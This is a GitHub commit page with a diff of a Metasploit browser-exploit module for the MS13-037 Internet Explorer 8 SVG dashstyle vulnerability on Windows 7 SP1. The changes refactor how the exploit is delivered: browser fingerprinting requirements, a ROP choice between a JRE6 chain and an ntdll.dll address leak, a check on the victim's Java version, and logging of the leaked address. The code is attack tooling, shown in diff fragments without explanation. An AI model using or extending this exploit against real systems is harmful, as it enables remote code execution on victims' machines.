Skip to content

Commit 9e3388d

Browse files
committed
Use BES for MS13-037 and default to ntdll
1 parent 7b4fd2f commit 9e3388d

File tree

1 file changed

+42
-55
lines changed

1 file changed

+42
-55
lines changed

modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb

Lines changed: 42 additions & 55 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88
class Metasploit3 < Msf::Exploit::Remote
99
Rank = NormalRanking
1010

11-
include Msf::Exploit::Remote::HttpServer::HTML
11+
include Msf::Exploit::Remote::BrowserExploitServer
1212
include Msf::Exploit::RopDb
1313
#include Msf::Exploit::Remote::BrowserAutopwn
1414

@@ -61,23 +61,20 @@ def initialize(info={})
6161
'InitialAutoRunScript' => 'migrate -f'
6262
},
6363
'Platform' => 'win',
64+
'BrowserRequirements' =>
65+
{
66+
:source => /script/i,
67+
:os_name => OperatingSystems::WINDOWS,
68+
:ua_name => HttpClients::IE,
69+
:ua_ver => '8.0',
70+
},
6471
'Targets' =>
6572
[
66-
[ 'Automatic', {} ],
67-
[ 'IE 8 on Windows 7 SP1 with JRE ROP', # default
68-
{
69-
'Rop' => :jre,
70-
'Offset' => '0x5f4'
71-
}
72-
],
73-
# requires:
74-
# * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation)
75-
# * ntdll.dll v6.1.7601.17725 (MS12-001)
76-
[ 'IE 8 on Windows 7 SP1 with ntdll.dll Info Leak',
77-
{
78-
'Rop' => :ntdll,
79-
'Offset' => '0x5f4'
80-
}
73+
[
74+
'IE 8 on Windows 7 SP1',
75+
{
76+
'Offset' => '0x5f4'
77+
}
8178
]
8279
],
8380
'Privileged' => false,
@@ -89,40 +86,20 @@ def initialize(info={})
8986
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
9087
], self.class)
9188

89+
register_advanced_options(
90+
[
91+
# ntdll requires:
92+
# * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation)
93+
# * ntdll.dll v6.1.7601.17725 (MS12-001)
94+
OptEnum.new('ROP', [true, 'The type of ROP to use (JRE6 or leak NTDLL)', 'NTDLL', ['JRE6', 'NTDLL'] ])
95+
], self.class)
9296
end
9397

9498
def exploit
95-
@second_stage_url = rand_text_alpha(10)
99+
@second_stage_url = "#{get_module_resource}#{rand_text_alpha(10)}".chomp
96100
@leak_param = rand_text_alpha(5)
97-
super
98-
end
99-
100-
def get_target(agent)
101-
#If the user is already specified by the user, we'll just use that
102-
return target if target.name != 'Automatic'
103-
104-
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
105-
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
106101

107-
ie_name = "IE #{ie}"
108-
109-
case nt
110-
when '5.1'
111-
os_name = 'Windows XP SP3'
112-
when '6.0'
113-
os_name = 'Windows Vista'
114-
when '6.1'
115-
os_name = 'Windows 7'
116-
end
117-
118-
targets.each do |t|
119-
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
120-
print_status("Target selected as: #{t.name}")
121-
return t
122-
end
123-
end
124-
125-
return nil
102+
super
126103
end
127104

128105
def ie_heap_spray(my_target, p)
@@ -383,16 +360,26 @@ def html_info_leak
383360

384361
end
385362

386-
def on_request_uri(cli, request)
387-
agent = request.headers['User-Agent']
388-
uri = request.uri
389-
print_status("Requesting: #{uri}")
363+
def set_rop(t, rop, info)
364+
case rop
365+
when /^ntdll$/i
366+
t['Rop'] = :ntdll
367+
when /^jre6$/i
368+
if info[:java] !~ /1\.6|6\.0/
369+
raise RuntimeError, "Target does not have the suitable Java component installed for our attack"
370+
end
371+
372+
t['Rop'] = :jre
373+
end
374+
375+
return t
376+
end
390377

391-
my_target = get_target(agent)
392-
# Avoid the attack if no suitable target found
393-
if my_target.nil?
394-
print_error("Browser not supported, sending 404: #{agent}")
395-
send_not_found(cli)
378+
def on_request_exploit(cli, request, target_info)
379+
begin
380+
my_target = set_rop(get_target, datastore['ROP'], target_info)
381+
rescue RuntimeError => e
382+
print_error(e.message)
396383
return
397384
end
398385

@@ -414,7 +401,7 @@ def on_request_uri(cli, request)
414401
return
415402
end
416403

417-
vprint_status("ntdll leak: 0x#{leak.to_s(16)}")
404+
print_status("ntdll leak: 0x#{leak.to_s(16)}")
418405
fingerprint = leak & 0x0000ffff
419406

420407
case fingerprint

0 commit comments

Comments
 (0)